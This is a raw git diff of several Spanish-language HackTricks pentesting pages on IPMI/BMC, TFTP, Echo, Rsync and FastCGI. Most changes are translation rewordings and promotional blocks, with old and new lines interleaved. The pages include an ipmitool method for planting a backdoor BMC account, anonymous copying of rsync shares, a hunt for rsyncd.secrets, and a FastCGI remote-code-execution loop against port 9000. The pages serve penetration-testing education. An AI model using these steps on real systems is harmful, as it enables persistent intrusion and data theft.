Tras comprometer un host equipado con un BMC, la **interfaz local del BMC se puede aprovechar para insertar una cuenta de usuario de puerta trasera**, creando una presencia duradera en el servidor. Este ataque requiere la presencia de **`ipmitool`** en el host comprometido y la activación del soporte del controlador BMC. Los siguientes comandos ilustran cómo se puede inyectar una nueva cuenta de usuario en el BMC utilizando la interfaz local del host, lo que evita la necesidad de autenticación. Esta técnica es aplicable a una amplia gama de sistemas operativos, incluidos Linux, Windows, BSD e incluso DOS.
Al comprometer un host equipado con un BMC, se puede **aprovechar la interfaz local del BMC para insertar una cuenta de usuario de puerta trasera**, creando una presencia duradera en el servidor. Este ataque requiere la presencia de **`ipmitool`** en el host comprometido y la activación del soporte del controlador BMC. Los siguientes comandos ilustran cómo se puede inyectar una nueva cuenta de usuario en el BMC utilizando la interfaz local del host, lo que elude la necesidad de autenticación. Esta técnica es aplicable a una amplia gama de sistemas operativos, incluyendo Linux, Windows, BSD e incluso DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
@ -124,8 +125,23 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
```
## Shodan
* `puerto:623`
* `port:623`
## Referencias
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -19,24 +20,24 @@ Otras formas de apoyar a HackTricks:
# Información Básica
**Protocolo de Transferencia de Archivos Triviales (TFTP)** es un protocolo sencillo utilizado en el **puerto UDP 69** que permite transferencias de archivos sin necesidad de autenticación. Destacado en **RFC 1350**, su simplicidad significa que carece de características clave de seguridad, lo que lleva a un uso limitado en Internet público. Sin embargo, **TFTP** se utiliza ampliamente dentro de redes internas grandes para distribuir archivos de configuración e imágenes de ROM a dispositivos como teléfonos **VoIP**, gracias a su eficiencia en estos escenarios específicos.
**Trivial File Transfer Protocol (TFTP)** es un protocolo sencillo utilizado en **UDP puerto 69** que permite transferencias de archivos sin necesidad de autenticación. Destacado en **RFC 1350**, su simplicidad significa que carece de características de seguridad clave, lo que lleva a un uso limitado en Internet público. Sin embargo, **TFTP** se utiliza ampliamente dentro de grandes redes internas para distribuir **archivos de configuración** y **imágenes de ROM** a dispositivos como **teléfonos VoIP**, gracias a su eficiencia en estos escenarios específicos.
**TAREA**: Proporcionar información sobre qué es un Bittorrent-tracker (Shodan identifica este puerto con ese nombre). Si tienes más información al respecto, háznoslo saber, por ejemplo en el [**grupo de telegram de HackTricks**](https://t.me/peass) (o en un problema de github en [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**TODO**: Proporcionar información sobre qué es un rastreador de Bittorrent (Shodan identifica este puerto con ese nombre). Si tienes más información sobre esto, háznoslo saber, por ejemplo, en el [**grupo de telegram de HackTricks**](https://t.me/peass) (o en un issue de github en [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**Puerto Predeterminado:** 69/UDP
**Puerto por Defecto:** 69/UDP
```
PORT STATE SERVICE REASON
69/udp open tftp script-set
```
# Enumeración
TFTP no proporciona listado de directorios, por lo que el script `tftp-enum` de `nmap` intentará realizar fuerza bruta en rutas predeterminadas.
TFTP no proporciona una lista de directorios, por lo que el script `tftp-enum` de `nmap` intentará forzar rutas predeterminadas.
```bash
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
```
## Descarga/Subida
## Descargar/Subir
Puedes usar Metasploit o Python para comprobar si puedes descargar/subir archivos:
Puedes usar Metasploit o Python para verificar si puedes descargar/subir archivos:
```bash
msf5> auxiliary/admin/tftp/tftp_transfer_util
```
@ -49,7 +50,7 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
```
## Shodan
* `puerto: 69`
* `port:69`
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -57,16 +58,17 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Grupo de Seguridad Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -23,17 +24,17 @@ Otras formas de apoyar a HackTricks:
# Información Básica
Un servicio de eco está en ejecución en este host. El servicio de eco estaba destinado para propósitos de prueba y medición y puede escuchar en los protocolos TCP y UDP. El servidor devuelve cualquier dato que recibe, sin modificación.\
**Es posible causar una denegación de servicio conectando un servicio de eco al servicio de eco en la misma máquina o en otra**. Debido al número excesivamente alto de paquetes producidos, las máquinas afectadas pueden quedar efectivamente fuera de servicio.\
Información de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
Un servicio de eco está funcionando en este host. El servicio de eco fue diseñado para propósitos de prueba y medición y puede escuchar en los protocolos TCP y UDP. El servidor devuelve cualquier dato que recibe, sin modificación.\
**Es posible causar una denegación de servicio conectando un servicio de eco al servicio de eco en la misma o en otra máquina**. Debido al número excesivamente alto de paquetes producidos, las máquinas afectadas pueden quedar efectivamente fuera de servicio.\
Info de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
**Puerto Predeterminado:** 7/tcp/udp
**Puerto por Defecto:** 7/tcp/udp
```
PORT STATE SERVICE
7/udp open echo
7/tcp open echo
```
## Contactar el servicio de eco (UDP)
## Contactar el servicio Echo (UDP)
```bash
nc -uvn <IP> 7
Hello echo #This is wat you send
@ -47,25 +48,26 @@ Hello echo #This is the response
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
[CA-1996-01 Ataque de denegación de servicio en el puerto UDP](http://www.cert.org/advisories/CA-1996-01.html)
[CA-1996-01 Ataque de Denegación de Servicio por UDP](http://www.cert.org/advisories/CA-1996-01.html)
**Grupo de Seguridad Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# 873 - Pentesting Rsync
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Información Básica**
Desde [wikipedia](https://en.wikipedia.org/wiki/Rsync):
De [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync** es una utilidad para [transferir](https://en.wikipedia.org/wiki/File\_transfer) y [sincronizar](https://en.wikipedia.org/wiki/File\_synchronization) [archivos](https://en.wikipedia.org/wiki/Computer\_file) de manera eficiente entre una computadora y un disco duro externo y entre [computadoras](https://en.wikipedia.org/wiki/Computer) en red al comparar los tiempos de modificación y tamaños de los archivos.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Comúnmente se encuentra en sistemas operativos [tipo Unix](https://en.wikipedia.org/wiki/Unix-like). El algoritmo de rsync es un tipo de [codificación delta](https://en.wikipedia.org/wiki/Delta\_encoding) y se utiliza para minimizar el uso de la red. [Zlib](https://en.wikipedia.org/wiki/Zlib) puede ser utilizado para [compresión de datos](https://en.wikipedia.org/wiki/Data\_compression) adicional,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) y [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) o [stunnel](https://en.wikipedia.org/wiki/Stunnel) pueden ser utilizados para seguridad.
> **rsync** es una utilidad para transferir y sincronizar eficientemente [archivos](https://en.wikipedia.org/wiki/Computer\_file) entre una computadora y un disco duro externo y a través de [computadoras](https://en.wikipedia.org/wiki/Computer) [en red](https://en.wikipedia.org/wiki/Computer\_network) comparando los [tiempos de modificación](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) y tamaños de los archivos.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Se encuentra comúnmente en sistemas operativos [tipo Unix](https://en.wikipedia.org/wiki/Unix-like). El algoritmo rsync es un tipo de [codificación delta](https://en.wikipedia.org/wiki/Delta\_encoding), y se utiliza para minimizar el uso de la red. [Zlib](https://en.wikipedia.org/wiki/Zlib) puede ser utilizado para [compresión de datos](https://en.wikipedia.org/wiki/Data\_compression) adicional,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) y [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) o [stunnel](https://en.wikipedia.org/wiki/Stunnel) pueden ser utilizados para seguridad.
**Puerto predeterminado:** 873
**Puerto por defecto:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
@ -51,7 +52,7 @@ raidroot
```
### **Enumerando Carpetas Compartidas**
Los **módulos de Rsync** son reconocidos como **comparticiones de directorios** que podrían estar **protegidas con contraseñas**. Para identificar los módulos disponibles y verificar si requieren contraseñas, se utilizan los siguientes comandos:
**Los módulos Rsync** se reconocen como **comparticiones de directorios** que pueden estar **protegidas con contraseñas**. Para identificar los módulos disponibles y verificar si requieren contraseñas, se utilizan los siguientes comandos:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
@ -59,13 +60,13 @@ msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Ten en cuenta que es posible que algunas comparticiones no aparezcan en la lista, posiblemente estén ocultas. Además, el acceso a algunas comparticiones podría estar restringido a **credenciales** específicas, indicado por un mensaje de **"Acceso denegado"**.
Tenga en cuenta que algunas comparticiones pueden no aparecer en la lista, posiblemente ocultándolas. Además, el acceso a algunas comparticiones puede estar restringido a **credenciales** específicas, indicado por un mensaje de **"Acceso Denegado"**.
### [**Fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#rsync)
### [**Fuerza Bruta**](../generic-methodologies-and-resources/brute-force.md#rsync)
### Uso manual de Rsync
### Uso Manual de Rsync
Una vez obtenida una **lista de módulos**, las acciones dependen de si se necesita autenticación. Sin autenticación, la **enumeración** y **copia** de archivos desde una carpeta compartida a un directorio local se logra mediante:
Al obtener una **lista de módulos**, las acciones dependen de si se necesita autenticación. Sin autenticación, **listar** y **copiar** archivos de una carpeta compartida a un directorio local se logra a través de:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
@ -73,9 +74,9 @@ rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Este proceso **transfiere archivos de forma recursiva**, preservando sus atributos y permisos.
Este proceso **transfiere archivos recursivamente**, preservando sus atributos y permisos.
Con **credenciales**, la lista y descarga desde una carpeta compartida se puede hacer de la siguiente manera, donde aparecerá un prompt para ingresar la contraseña:
Con **credenciales**, listar y descargar de una carpeta compartida se puede hacer de la siguiente manera, donde aparecerá un aviso de contraseña:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
@ -90,22 +91,23 @@ Para localizar el archivo de configuración de rsyncd, ejecuta:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Dentro de este archivo, un parámetro _secrets file_ podría apuntar a un archivo que contiene **nombres de usuario y contraseñas** para la autenticación de rsyncd.
Dentro de este archivo, un parámetro de _secrets file_ podría apuntar a un archivo que contiene **nombres de usuario y contraseñas** para la autenticación de rsyncd.
## Referencias
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Información Básica
@ -21,7 +22,7 @@ Si quieres **aprender qué es FastCGI** consulta la siguiente página:
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
{% endcontent-ref %}
Por defecto, **FastCGI** se ejecuta en el **puerto** **9000** y no es reconocido por nmap. **Normalmente** FastCGI solo escucha en **localhost**.
Por defecto, **FastCGI** se ejecuta en **el puerto** **9000** y no es reconocido por nmap. **Usualmente**, FastCGI solo escucha en **localhost**.
# RCE
@ -45,19 +46,20 @@ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
```
o también puedes usar el siguiente script de Python: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
o también puedes usar el siguiente script de python: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
